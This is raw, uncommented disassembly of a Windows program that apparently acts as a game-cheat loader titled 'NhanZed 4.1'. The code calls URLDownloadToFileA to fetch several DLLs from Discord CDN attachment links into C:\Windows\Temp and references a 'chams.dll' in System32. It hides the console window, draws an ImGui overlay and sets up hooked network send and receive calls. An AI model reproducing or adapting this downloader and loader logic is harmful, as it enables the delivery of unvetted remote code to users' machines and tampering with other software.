lea r8, [rbp - 0x60]
mov qword [rsp + 0x20], r12
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rdx + 0x10], xmm1
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rdx + 0x20], xmm0
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rdx + 0x30], xmm1
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rdx + 0x40], xmm0
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rdx + 0x50], xmm1
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rdx + 0x60], xmm0
lea rdx, [rdx + 0x80]
movups xmm0, xmmword [rcx + 0x80]
movups xmmword [rdx - 0x10], xmm1
movups xmm1, xmmword [rcx + 0x90]
movups xmmword [rdx], xmm0
movups xmm0, xmmword [rcx + 0xa0]
movups xmmword [rdx + 0x10], xmm1
movups xmmword [rdx + 0x20], xmm0
mov dword [rdx + 0x30], eax
movzx eax, byte [rcx + 0xb4]
xor ecx, ecx
movups xmm0, xmmword [str.C:WindowsTempRas1.dll]
mov byte [rdx + 0x34], al
lea rdx, [rbp + 0x40]
movzx eax, byte [0x1401705d0]
movups xmmword [rbp - 0x60], xmm0
mov byte [rbp - 0x48], al
movsd xmm0, qword [0x1401705c8]
movsd qword [rbp - 0x50], xmm0
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
movups xmm0, xmmword [rbx + 0x170700]
lea rax, [rbx + 0x170700]
mov qword [rsp + 0x20], r12
movups xmm1, xmmword [rax + 0x10]
lea rcx, [rbp + 0x40]
xor r9d, r9d
movups xmmword [rcx], xmm0
lea r8, [rbp - 0x60]
movups xmm0, xmmword [rax + 0x20]
lea rdx, [rbp + 0x40]
movups xmmword [rcx + 0x10], xmm1
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x20], xmm0
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x30], xmm1
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x40], xmm0
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x50], xmm1
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx + 0x60], xmm0
movups xmm0, xmmword [rax + 0x80]
movups xmmword [rcx + 0x70], xmm1
movups xmm1, xmmword [rax + 0x90]
movups xmmword [rcx + 0x80], xmm0
movups xmm0, xmmword [rax + 0xa0]
mov eax, dword [rax + 0xb0]
movups xmmword [rcx + 0x90], xmm1
movups xmmword [rcx + 0xa0], xmm0
mov dword [rcx + 0xb0], eax
movups xmm0, xmmword [str.C:WindowsTempwin.dll]
movups xmmword [rbp - 0x60], xmm0
movsd xmm0, qword [0x1401707c8]
movsd qword [rbp - 0x50], xmm0
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
movaps xmm0, xmmword [str.https:__cdn.discordapp.com_attachments_1193710268505665600_1208450681053253724_systen.dll]
lea r8, [rbp - 0x60]
movzx eax, word [0x140170058]
lea rdx, [rbp + 0x40]
movaps xmm1, xmmword [0x140170010]
xor r9d, r9d
movaps xmmword [rbp + 0x40], xmm0
xor ecx, ecx
movaps xmm0, xmmword [0x140170020]
movaps xmmword [rbp + 0x60], xmm0
movaps xmm0, xmmword [0x140170040]
movaps xmmword [rbp + 0x80], xmm0
movsd xmm0, qword [0x140170050]
movsd qword [rbp + 0x90], xmm0
movups xmm0, xmmword [str.C:WindowsTemp_system.dll]
mov word [rbp + 0x98], ax
movzx eax, word [0x14016fca0]
movups xmmword [rbp - 0x60], xmm0
mov word [rbp - 0x48], ax
movsd xmm0, qword [0x14016fc98]
movzx eax, byte [0x14016fca2]
movaps xmmword [rbp + 0x50], xmm1
movaps xmm1, xmmword [0x140170030]
movsd qword [rbp - 0x50], xmm0
movaps xmmword [rbp + 0x70], xmm1
mov byte [rbp - 0x46], al
mov qword [rsp + 0x20], r12
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
movaps xmm0, xmmword [str.https:__cdn.discordapp.com_attachments_1193098907488636988_1196181239858729040_BlackAndRed.dll]
lea r8, [rbp + 0x190]
movaps xmm1, xmmword [0x1401707e0]
lea rdx, [rbp + 0x40]
mov eax, dword [0x140170828]
xor r9d, r9d
movaps xmmword [rbp + 0x40], xmm0
xor ecx, ecx
movaps xmm0, xmmword [0x1401707f0]
movaps xmmword [rbp + 0x60], xmm0
movaps xmm0, xmmword [0x140170810]
movaps xmmword [rbp + 0x80], xmm0
movsd xmm0, qword [0x140170820]
movaps xmmword [rbp + 0x50], xmm1
movaps xmm1, xmmword [0x140170800]
mov dword [rbp + 0x98], eax
movzx eax, word [0x14017082c]
movsd qword [rbp + 0x90], xmm0
movups xmm0, xmmword [str.C:WindowsTempBlackAndRed.dll]
mov word [rbp + 0x9c], ax
movzx eax, byte [0x14017082e]
movaps xmmword [rbp + 0x70], xmm1
movups xmm1, xmmword [0x14016fd10]
mov byte [rbp + 0x9e], al
movups xmmword [rbp + 0x190], xmm0
mov qword [rsp + 0x20], r12
movups xmmword [rbp + 0x1a0], xmm1
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
movaps xmm0, xmmword [str.https:__cdn.discordapp.com_attachments_1193098907488636988_1196181214344785940_blanca.dll]
movzx eax, word [0x140170888]
movaps xmm1, xmmword [0x140170840]
movaps xmmword [rbp + 0x40], xmm0
movaps xmm0, xmmword [0x140170850]
movaps xmmword [rbp + 0x60], xmm0
movaps xmm0, xmmword [0x140170870]
movaps xmmword [rbp + 0x80], xmm0
movsd xmm0, qword [0x140170880]
movsd qword [rbp + 0x90], xmm0
movups xmm0, xmmword [str.C:WindowsTemp_blanca_1.dll]
mov word [rbp + 0x98], ax
mov eax, dword [0x14016fce0]
movups xmmword [rbp - 0x60], xmm0
mov dword [rbp - 0x48], eax
movsd xmm0, qword [0x14016fcd8]
movzx eax, byte [0x14016fce4]
movaps xmmword [rbp + 0x50], xmm1
movaps xmm1, xmmword [0x140170860]
movsd qword [rbp - 0x50], xmm0
movaps xmmword [rbp + 0x70], xmm1
mov byte [rbp - 0x44], al
mov qword [rsp + 0x20], r12
xor r9d, r9d
lea r8, [rbp - 0x60]
lea rdx, [rbp + 0x40]
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
lea rdx, str.C:WindowsSystem32chams.dll
lea rcx, [rbp + 0x1f30]
call fcn.140063560
xor r9d, r9d
mov qword [rsp + 0x28], r12
lea r8, [0x14005af00]
mov dword [rsp + 0x20], r12d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
call fcn.140058770
xor r9d, r9d
mov qword [rsp + 0x28], r12
lea r8, [0x140057dc0]
mov dword [rsp + 0x20], r12d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
xor r9d, r9d
mov qword [rsp + 0x28], r12
lea r8, [0x140057f00]
mov dword [rsp + 0x20], r12d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
lea rdx, [0x140057500]
lea rcx, [rbp - 0x40]
call fcn.140063570
mov rcx, rax
call fcn.1400568e0
lea rcx, [rbp - 0x40]
call fcn.14004e3b0
mov rcx, qword [0x1402082c8]
call fcn.140057560
lea rcx, [0x140229690]
call fcn.1400d8a30
cmp dword [0x140208318], r12d
jne 0x14005d162
call fcn.140064460
mov rcx, rax
call fcn.1400643c0
mov dword [0x140208318], eax
call fcn.140064460
mov edx, dword [0x140208318]
mov rcx, rax
call fcn.140064300
lea rcx, [0x140229690]
call fcn.1400d8a30
cmp byte [0x1402298a8], r12b
jne 0x14005d1bb
lea rcx, [0x1402298b0]
call fcn.140043c20
mov rdx, rax
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, 0x5dc
call qword [sym.imp.KERNEL32.dll_Sleep]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
lea rax, [0x140062de0]
mov qword [rsp + 0x2210], rsi
mov edx, 0x7f00
mov qword [rbp + 0x2f8], rax
xor ecx, ecx
mov dword [rbp + 0x2f0], 0x50
mov dword [rbp + 0x2f4], 0x40
mov qword [rbp + 0x300], r12
mov qword [rbp + 0x308], r12
call qword [sym.imp.USER32.dll_LoadIconA]
mov edx, 0x7f00
xor ecx, ecx
mov qword [rbp + 0x310], rax
call qword [sym.imp.USER32.dll_LoadCursorA]
mov edx, 0x7f00
mov qword [rbp + 0x320], r12
mov qword [rbp + 0x318], rax
xor ecx, ecx
lea rax, str.ImGui
mov qword [rbp + 0x328], rax
lea rax, str.NhanZed
mov qword [rbp + 0x330], rax
call qword [sym.imp.USER32.dll_LoadIconA]
lea rcx, [rbp + 0x2f0]
mov qword [rbp + 0x338], rax
call qword [sym.imp.USER32.dll_RegisterClassExW]
mov esi, 1
mov ecx, esi
call qword [sym.imp.USER32.dll_GetSystemMetrics]
cdq
xor ecx, ecx
sub eax, edx
sar eax, 1
lea ebx, [rax - 0x140]
call qword [sym.imp.USER32.dll_GetSystemMetrics]
mov qword [rsp + 0x58], r12
lea r8, str.NhanZed_4.1
mov qword [rsp + 0x50], r12
cdq
mov qword [rsp + 0x48], r12
sub eax, edx
mov rdx, qword [rbp + 0x330]
mov r9d, 0x80000000
mov qword [rsp + 0x40], r12
xor ecx, ecx
mov dword [rsp + 0x38], 0x280
sar eax, 1
sub eax, 0x1db
mov dword [rsp + 0x30], 0x3b6
mov dword [rsp + 0x28], ebx
mov dword [rsp + 0x20], eax
call qword [sym.imp.USER32.dll_CreateWindowExW]
lea ecx, [rsi + 0x2d]
mov qword [0x1402082e8], rax
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test sil, al
je 0x14005d2ef
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
movdqa xmm0, xmmword [0x140171e60]
lea rdx, [rbp + 0x978]
mov rcx, qword [0x1402082e8]
movdqu xmmword [rbp + 0x978], xmm0
call qword [sym.imp.dwmapi.dll_DwmExtendFrameIntoClientArea]
mov rcx, qword [0x1402082e8]
lea rdx, [0x140208308]
xorps xmm0, xmm0
movups xmmword [0x140208308], xmm0
call qword [sym.imp.USER32.dll_GetWindowRect]
mov rcx, qword [0x1402082e8]
call fcn.140062bd0
test al, al
jne 0x14005d361
call fcn.140062d60
mov rdx, qword [rbp + 0x308]
mov rcx, qword [rbp + 0x330]
call qword [sym.imp.USER32.dll_UnregisterClassW]
mov eax, esi
jmp 0x140062bbb
mov rcx, qword [0x1402082e8]
mov edx, 0xa
mov qword [rsp + 0x2218], rdi
movaps xmmword [rsp + 0x21d0], xmm6
movaps xmmword [rsp + 0x21c0], xmm7
movaps xmmword [rsp + 0x21b0], xmm8
movaps xmmword [rsp + 0x21a0], xmm9
movaps xmmword [rsp + 0x2190], xmm10
movaps xmmword [rsp + 0x2180], xmm11
movaps xmmword [rsp + 0x2170], xmm12
movaps xmmword [rsp + 0x2160], xmm13
movaps xmmword [rsp + 0x2150], xmm14
movaps xmmword [rsp + 0x2140], xmm15
call qword [sym.imp.USER32.dll_ShowWindow]
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
xor edx, edx
call qword [sym.imp.USER32.dll_ShowWindow]
mov rcx, qword [0x1402082e8]
call qword [sym.imp.USER32.dll_UpdateWindow]
mov qword [rsp + 0x30], 2
lea rcx, str.1.89.6
mov qword [rsp + 0x28], reloc.WS2_32.dll_sendto
mov edx, 0x37c8
mov r9d, 8
mov qword [rsp + 0x20], reloc.WS2_32.dll_recv
mov r8d, 0x448
call fcn.140017370
xor ecx, ecx
call fcn.140006a10
call fcn.1400089f0
lea rcx, [rbp + 0xcf0]
mov rdi, rax
or dword [rax], 3
call fcn.14002a540
mov dword [rbp + 0xd3c], 0x10c
mov rbx, qword [rdi + 0x50]
mov rcx, rbx
call fcn.14002da00
movss xmm6, dword [0x140171cec]
lea rdx, [0x1401db600]
mov qword [rsp + 0x28], rax
movaps xmm3, xmm6
lea rax, [rbp + 0xcf0]
mov r8d, 0x26368
mov rcx, rbx
mov qword [rsp + 0x20], rax
call fcn.14002b040
mov rbx, qword [rdi + 0x50]
mov rcx, rbx
mov qword [0x1402082d0], rax
call fcn.14002da00
movss xmm3, dword [0x140171ce4]
lea rdx, [0x1401db600]
mov qword [rsp + 0x28], rax
mov r8d, 0x26368
lea rax, [rbp + 0xcf0]
mov rcx, rbx
mov qword [rsp + 0x20], rax
call fcn.14002b040
mov rbx, qword [rdi + 0x50]
mov rcx, rbx
call fcn.14002da00
movss xmm3, dword [0x140171d04]
lea rdx, [0x1401b8d80]
mov qword [rsp + 0x28], rax
mov r8d, 0xf40
lea rax, [rbp + 0xcf0]
mov rcx, rbx
mov qword [rsp + 0x20], rax
call fcn.14002b040
mov rbx, qword [rdi + 0x50]
mov rcx, rbx
mov qword [0x140208358], rax
call fcn.14002da00
mov qword [rsp + 0x28], rax
lea rdx, [0x140193420]
lea rax, [rbp + 0xcf0]
movaps xmm3, xmm6
mov qword [rsp + 0x20], rax
mov r8d, 0x25958
mov rcx, rbx
call fcn.14002b040
mov rbx, qword [rdi + 0x50]
mov rcx, rbx
mov qword [0x140208350], rax
call fcn.14002da00
movss xmm3, dword [0x140171d0c]
lea rdx, [0x140193420]
mov qword [rsp + 0x28], rax
mov r8d, 0x25958
lea rax, [rbp + 0xcf0]
mov rcx, rbx
mov qword [rsp + 0x20], rax
call fcn.14002b040
mov rbx, qword [rdi + 0x50]
mov rcx, rbx
mov qword [0x1402082d8], rax
call fcn.14002da00
movss xmm6, dword [0x140171cf8]
lea rdx, [0x1401b9cc0]
mov qword [rsp + 0x28], rax
movaps xmm3, xmm6
lea rax, [rbp + 0xcf0]
mov r8d, 0x954
mov rcx, rbx
mov qword [rsp + 0x20], rax
call fcn.14002b040
mov rbx, qword [rdi + 0x50]
mov rcx, rbx
mov qword [0x140208348], rax
call fcn.14002da00
movss xmm7, dword [0x140171d18]
lea rdx, [0x1401ba620]
mov qword [rsp + 0x28], rax
movaps xmm3, xmm7
mov r8d, 0x20fe0
mov qword [rsp + 0x20], r12
mov rcx, rbx
call fcn.14002b040
cmp qword [0x1402082b8], r12
mov qword [rbp + 0x2d8], rax
jne 0x14005d655
mov rcx, qword [0x140208320]
lea rax, [0x1402082b8]
mov qword [rsp + 0x30], r12
lea r9, [0x140206f28]
mov qword [rsp + 0x28], rax
lea rdx, [0x14018a130]
mov qword [rsp + 0x20], rcx
mov r8d, 0x5277
mov rcx, qword [0x14023e1c0]
call qword [sym.imp.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromMemory]
cmp qword [0x1402082a8], r12
jne 0x14005d69c
mov rcx, qword [0x14023e1c0]
lea rax, [0x1402082a8]
mov qword [rsp + 0x30], r12
lea r9, [0x140206f28]
mov qword [rsp + 0x28], rax
lea rdx, [0x140201970]
mov rax, qword [0x140208320]
mov r8d, 0x3f8e
mov qword [rsp + 0x20], rax
call qword [sym.imp.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromMemory]
cmp qword [0x1402082b0], r12
jne 0x14005d6e3
mov rcx, qword [0x14023e1c0]
lea rax, [0x1402082b0]
mov qword [rsp + 0x30], r12
lea r9, [0x140206f28]
mov qword [rsp + 0x28], rax
lea rdx, [0x14018f3b0]
mov rax, qword [0x140208320]
mov r8d, reloc.WLDAP32.dll_Ordinal_211
mov qword [rsp + 0x20], rax
call qword [sym.imp.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromMemory]
cmp qword [0x1402082a0], r12
jne 0x14005d72a
mov rcx, qword [0x14023e1c0]
lea rax, [0x1402082a0]
mov qword [rsp + 0x30], r12
lea r9, [0x140206f28]
mov qword [rsp + 0x28], rax
lea rdx, [0x140205900]
mov rax, qword [0x140208320]
mov r8d, 0x230
mov qword [rsp + 0x20], rax
call qword [sym.imp.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromMemory]
cmp qword [0x1402082c0], r12
jne 0x14005d771
mov rcx, qword [0x14023e1c0]
lea rax, [0x1402082c0]
mov qword [rsp + 0x30], r12
lea r9, [0x140206f28]
mov qword [rsp + 0x28], rax
lea rdx, [0x14018f490]
mov rax, qword [0x140208320]
mov r8d, 0x3f8e
mov qword [rsp + 0x20], rax
call qword [sym.imp.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromMemory]
mov rcx, qword [0x1402082e8]
call fcn.1400461e0
mov rdx, qword [0x14023e1d0]
mov rcx, qword [0x14023e1c0]
call fcn.140045d10
xorps xmm8, xmm8
lea rcx, [rbp + 0xce0]
xorps xmm3, xmm3
movss dword [rsp + 0x20], xmm8
xorps xmm2, xmm2
xorps xmm1, xmm1
call fcn.140001d90
movss xmm12, dword [0x140171c58]
xor bl, bl
movss xmm14, dword [0x140171e28]
movss xmm15, dword [0x140171d20]
movss xmm11, dword [0x140171c20]
movss xmm9, dword [0x140171d38]
movss xmm10, dword [0x140171c90]
movss xmm13, dword [0x140171d84]
mov qword [rsp + 0x2220], r13
mov qword [rsp + 0x21e8], r14
mov dword [rbp + 0x30], ebx
mov qword [rsp + 0x21e0], r15
nop dword [rax]
xor r9d, r9d
mov dword [rsp + 0x20], esi
xor r8d, r8d
lea rcx, [rbp + 0xb70]
xor edx, edx
call qword [sym.imp.USER32.dll_PeekMessageA]
test eax, eax
je 0x14005d87f
nop dword [rax]
lea rcx, [rbp + 0xb70]
call qword [sym.imp.USER32.dll_TranslateMessage]
lea rcx, [rbp + 0xb70]
call qword [sym.imp.USER32.dll_DispatchMessageA]
cmp dword [rbp + 0xb78], 0x12
lea rcx, [rbp + 0xb70]
movzx ebx, bl
cmove ebx, esi
mov dword [rsp + 0x20], esi
xor r9d, r9d
xor r8d, r8d
xor edx, edx
call qword [sym.imp.USER32.dll_PeekMessageA]
test eax, eax
jne 0x14005d830
mov dword [rbp + 0x30], ebx
test bl, bl
jne 0x140062b0a
mov ecx, Ordinal_50
call fcn.14005af40
mov ecx, reloc.WLDAP32.dll_Ordinal_50
movzx r13d, al
call fcn.14005af40
mov ecx, 0x33
mov byte [rsp + 0x60], al
call fcn.14005af40
mov ecx, reloc.WS2_32.dll_WSASetLastError
mov byte [rsp + 0x61], al
call fcn.14005af40
mov ecx, WSAStartup
mov byte [rsp + 0x62], al
call fcn.14005af40
mov ecx, WSAStartup
mov byte [rsp + 0x63], al
call fcn.14005af40
mov ecx, reloc.WS2_32.dll_WSAStartup
mov byte [rsp + 0x64], al
call fcn.14005af40
mov ecx, 0x51
mov byte [rsp + 0x65], al
call fcn.14005af40
mov ecx, 0x45
mov byte [rsp + 0x66], al
call fcn.14005af40
mov ecx, dword [0x140208364]
movzx r9d, byte [0x140208369]
movzx r10d, byte [0x140208344]
movzx r11d, byte [0x1402082e3]
movzx ebx, byte [0x14020827a]
movzx edi, byte [0x1402082f8]
movzx esi, byte [0x1402082e1]
movzx r14d, byte [0x140208370]
movzx r15d, byte [0x140208373]
movzx r12d, byte [0x1402082e5]
mov byte [rsp + 0x67], al
cmp ecx, 1
jne 0x14005d982
test r13b, r13b
je 0x14005db38
movzx edx, byte [rsp + 0x60]
movzx ecx, byte [rsp + 0x61]
movzx r8d, byte [rsp + 0x62]
test r9b, r9b
jne 0x14005db48
cmp byte [0x140208332], r9b
sete byte [0x140208332]
jmp 0x14005db48
cmp ecx, 2
jne 0x14005d9bb
movzx edx, byte [rsp + 0x60]
test dl, dl
je 0x14005db3d
movzx ecx, byte [rsp + 0x61]
movzx r8d, byte [rsp + 0x62]
test r10b, r10b
jne 0x14005db48
cmp byte [0x140208332], r10b
sete byte [0x140208332]
jmp 0x14005db48
cmp ecx, 3
jne 0x14005d9f4
movzx ecx, byte [rsp + 0x61]
movzx edx, byte [rsp + 0x60]
movzx r8d, byte [rsp + 0x62]
test cl, cl
je 0x14005db48
test r11b, r11b
jne 0x14005db48
cmp byte [0x140208332], r11b
sete byte [0x140208332]
jmp 0x14005db48
cmp ecx, 4
jne 0x14005da2c
movzx r8d, byte [rsp + 0x62]
movzx edx, byte [rsp + 0x60]
test r8b, r8b
je 0x14005db43
movzx ecx, byte [rsp + 0x61]
test bl, bl
jne 0x14005db48
cmp byte [0x140208332], bl
sete byte [0x140208332]
jmp 0x14005db48
cmp ecx, 5
jne 0x14005da68
cmp byte [rsp + 0x63], 0
je 0x14005db38
movzx edx, byte [rsp + 0x60]
movzx ecx, byte [rsp + 0x61]
movzx r8d, byte [rsp + 0x62]
test dil, dil
jne 0x14005db48
cmp byte [0x140208332], dil
sete byte [0x140208332]
jmp 0x14005db48
cmp ecx, 6
jne 0x14005daa4
cmp byte [rsp + 0x64], 0
je 0x14005db38
movzx edx, byte [rsp + 0x60]
movzx ecx, byte [rsp + 0x61]
movzx r8d, byte [rsp + 0x62]
test sil, sil
jne 0x14005db48
cmp byte [0x140208332], sil
sete byte [0x140208332]
jmp 0x14005db48
cmp ecx, 7
jne 0x14005dad9
cmp byte [rsp + 0x65], 0
je 0x14005db38
movzx edx, byte [rsp + 0x60]
movzx ecx, byte [rsp + 0x61]
movzx r8d, byte [rsp + 0x62]
test r14b, r14b
jne 0x14005db48
cmp byte [0x140208332], r14b
sete byte [0x140208332]
jmp 0x14005db48
cmp ecx, 8
jne 0x14005db0a
cmp byte [rsp + 0x66], 0
je 0x14005db38
movzx edx, byte [rsp + 0x60]
movzx ecx, byte [rsp + 0x61]
movzx r8d, byte [rsp + 0x62]
test r15b, r15b
jne 0x14005db48
cmp byte [0x140208332], r15b
sete byte [0x140208332]
jmp 0x14005db48
cmp ecx, 9
jne 0x14005db38
test al, al
je 0x14005db38
movzx edx, byte [rsp + 0x60]
movzx ecx, byte [rsp + 0x61]
movzx r8d, byte [rsp + 0x62]
test r12b, r12b
jne 0x14005db48
cmp byte [0x140208332], r12b
sete byte [0x140208332]
jmp 0x14005db48
movzx edx, byte [rsp + 0x60]
movzx r8d, byte [rsp + 0x62]
movzx ecx, byte [rsp + 0x61]
mov eax, dword [0x14023e1a4]
cmp eax, 1
jne 0x14005db64
test r13b, r13b
je 0x14005dbf5
test r9b, r9b
jmp 0x14005dbe5
cmp eax, 2
jne 0x14005db76
test dl, dl
je 0x14005dbf5
test r10b, r10b
jmp 0x14005dbe5
cmp eax, 3
jne 0x14005db84
test cl, cl
je 0x14005dbf5
test r11b, r11b
jmp 0x14005dbe5
cmp eax, 4
jne 0x14005db92
test r8b, r8b
je 0x14005dbf5
test bl, bl
jmp 0x14005dbe5
cmp eax, 5
jne 0x14005dba3
cmp byte [rsp + 0x63], 0
je 0x14005dbf5
test dil, dil
jmp 0x14005dbe5
cmp eax, 6
jne 0x14005dbb4
cmp byte [rsp + 0x64], 0
je 0x14005dbf5
test sil, sil
jmp 0x14005dbe5
cmp eax, 7
jne 0x14005dbc5
cmp byte [rsp + 0x65], 0
je 0x14005dbf5
test r14b, r14b
jmp 0x14005dbe5
cmp eax, 8
jne 0x14005dbd6
cmp byte [rsp + 0x66], 0
je 0x14005dbf5
test r15b, r15b
jmp 0x14005dbe5
cmp eax, 9
jne 0x14005dbf5
cmp byte [rsp + 0x67], 0
je 0x14005dbf5
test r12b, r12b
jne 0x14005dbf5
cmp byte [0x140208335], 0
sete byte [0x140208335]
mov eax, dword [0x14023e1a8]
cmp eax, 1
jne 0x14005dc11
test r13b, r13b
je 0x14005dca2
test r9b, r9b
jmp 0x14005dc92
cmp eax, 2
jne 0x14005dc23
test dl, dl
je 0x14005dca2
test r10b, r10b
jmp 0x14005dc92
cmp eax, 3
jne 0x14005dc31
test cl, cl
je 0x14005dca2
test r11b, r11b
jmp 0x14005dc92
cmp eax, 4
jne 0x14005dc3f
test r8b, r8b
je 0x14005dca2
test bl, bl
jmp 0x14005dc92
cmp eax, 5
jne 0x14005dc50
cmp byte [rsp + 0x63], 0
je 0x14005dca2
test dil, dil
jmp 0x14005dc92
cmp eax, 6
jne 0x14005dc61
cmp byte [rsp + 0x64], 0
je 0x14005dca2
test sil, sil
jmp 0x14005dc92
cmp eax, 7
jne 0x14005dc72
cmp byte [rsp + 0x65], 0
je 0x14005dca2
test r14b, r14b
jmp 0x14005dc92
cmp eax, 8
jne 0x14005dc83
cmp byte [rsp + 0x66], 0
je 0x14005dca2
test r15b, r15b
jmp 0x14005dc92
cmp eax, 9
jne 0x14005dca2
cmp byte [rsp + 0x67], 0
je 0x14005dca2
test r12b, r12b
jne 0x14005dca2
cmp byte [0x14020832f], 0
sete byte [0x14020832f]
mov eax, dword [0x14023e1d8]
cmp eax, 1
jne 0x14005dcbe
test r13b, r13b
je 0x14005dd4f
test r9b, r9b
jmp 0x14005dd3f
cmp eax, 2
jne 0x14005dcd0
test dl, dl
je 0x14005dd4f
test r10b, r10b
jmp 0x14005dd3f
cmp eax, 3
jne 0x14005dcde
test cl, cl
je 0x14005dd4f
test r11b, r11b
jmp 0x14005dd3f
cmp eax, 4
jne 0x14005dcec
test r8b, r8b
je 0x14005dd4f
test bl, bl
jmp 0x14005dd3f
cmp eax, 5
jne 0x14005dcfd
cmp byte [rsp + 0x63], 0
je 0x14005dd4f
test dil, dil
jmp 0x14005dd3f
cmp eax, 6
jne 0x14005dd0e
cmp byte [rsp + 0x64], 0
je 0x14005dd4f
test sil, sil
jmp 0x14005dd3f
cmp eax, 7
jne 0x14005dd1f
cmp byte [rsp + 0x65], 0
je 0x14005dd4f
test r14b, r14b
jmp 0x14005dd3f
cmp eax, 8
jne 0x14005dd30
cmp byte [rsp + 0x66], 0
je 0x14005dd4f
test r15b, r15b
jmp 0x14005dd3f
cmp eax, 9
jne 0x14005dd4f
cmp byte [rsp + 0x67], 0
je 0x14005dd4f
test r12b, r12b
jne 0x14005dd4f
cmp byte [0x140208333], 0
sete byte [0x140208333]
mov eax, dword [0x14022df28]
cmp eax, 1
jne 0x14005dd6b
test r13b, r13b
je 0x14005ddfc
test r9b, r9b
jmp 0x14005ddec
cmp eax, 2
jne 0x14005dd7d
test dl, dl
je 0x14005ddfc
test r10b, r10b
jmp 0x14005ddec
cmp eax, 3
jne 0x14005dd8b
test cl, cl
je 0x14005ddfc
test r11b, r11b
jmp 0x14005ddec
cmp eax, 4
jne 0x14005dd99
test r8b, r8b
je 0x14005ddfc
test bl, bl
jmp 0x14005ddec
cmp eax, 5
jne 0x14005ddaa
cmp byte [rsp + 0x63], 0
je 0x14005ddfc
test dil, dil
jmp 0x14005ddec
cmp eax, 6
jne 0x14005ddbb
cmp byte [rsp + 0x64], 0
je 0x14005ddfc
test sil, sil
jmp 0x14005ddec
cmp eax, 7
jne 0x14005ddcc
cmp byte [rsp + 0x65], 0
je 0x14005ddfc
test r14b, r14b
jmp 0x14005ddec
cmp eax, 8
jne 0x14005dddd
cmp byte [rsp + 0x66], 0
je 0x14005ddfc
test r15b, r15b
jmp 0x14005ddec
cmp eax, 9
jne 0x14005ddfc
cmp byte [rsp + 0x67], 0
je 0x14005ddfc
test r12b, r12b
jne 0x14005ddfc
cmp byte [0x140208331], 0
sete byte [0x140208331]
mov eax, dword [0x140208298]
cmp eax, 1
jne 0x14005de18
test r13b, r13b
je 0x14005dea9
test r9b, r9b
jmp 0x14005de99
cmp eax, 2
jne 0x14005de2a
test dl, dl
je 0x14005dea9
test r10b, r10b
jmp 0x14005de99
cmp eax, 3
jne 0x14005de38
test cl, cl
je 0x14005dea9
test r11b, r11b
jmp 0x14005de99
cmp eax, 4
jne 0x14005de46
test r8b, r8b
je 0x14005dea9
test bl, bl
jmp 0x14005de99
cmp eax, 5
jne 0x14005de57
cmp byte [rsp + 0x63], 0
je 0x14005dea9
test dil, dil
jmp 0x14005de99
cmp eax, 6
jne 0x14005de68
cmp byte [rsp + 0x64], 0
je 0x14005dea9
test sil, sil
jmp 0x14005de99
cmp eax, 7
jne 0x14005de79
cmp byte [rsp + 0x65], 0
je 0x14005dea9
test r14b, r14b
jmp 0x14005de99
cmp eax, 8
jne 0x14005de8a
cmp byte [rsp + 0x66], 0
je 0x14005dea9
test r15b, r15b
jmp 0x14005de99
cmp eax, 9
jne 0x14005dea9
cmp byte [rsp + 0x67], 0
je 0x14005dea9
test r12b, r12b
jne 0x14005dea9
cmp byte [0x140208336], 0
sete byte [0x140208336]
mov eax, dword [0x14020836c]
cmp eax, 1
jne 0x14005ded0
test r13b, r13b
je 0x14005df2d
test r9b, r9b
jne 0x14005df2d
cmp byte [0x140208306], 0
sete al
mov byte [0x140208306], al
jmp 0x14005df34
cmp eax, 2
jne 0x14005dede
test dl, dl
je 0x14005df2d
test r10b, r10b
jmp 0x14005debc
cmp eax, 3
jne 0x14005deec
test cl, cl
je 0x14005df2d
test r11b, r11b
jmp 0x14005debc
cmp eax, 4
jne 0x14005defa
test r8b, r8b
je 0x14005df2d
test bl, bl
jmp 0x14005debc
cmp eax, 5
jne 0x14005df0b
cmp byte [rsp + 0x63], 0
je 0x14005df2d
test dil, dil
jmp 0x14005debc
cmp eax, 6
jne 0x14005df1c
cmp byte [rsp + 0x64], 0
je 0x14005df2d
test sil, sil
jmp 0x14005debc
cmp eax, 7
jne 0x14005df2d
cmp byte [rsp + 0x65], 0
je 0x14005df2d
test r14b, r14b
jmp 0x14005debc
movzx eax, byte [0x140208306]
mov ecx, dword [0x14020829c]
cmp ecx, 8
jne 0x14005df4b
cmp byte [rsp + 0x66], 0
je 0x14005df65
test r15b, r15b
jmp 0x14005df5a
cmp ecx, 9
jne 0x14005df65
cmp byte [rsp + 0x67], 0
je 0x14005df65
test r12b, r12b
jne 0x14005df65
test al, al
sete byte [0x140208306]
mov r8d, dword [0x14020831c]
cmp r8d, 1
jne 0x14005df99
test r13b, r13b
je 0x14005e032
test r9b, r9b
jne 0x14005e032
cmp byte [0x14020832d], 0
sete dl
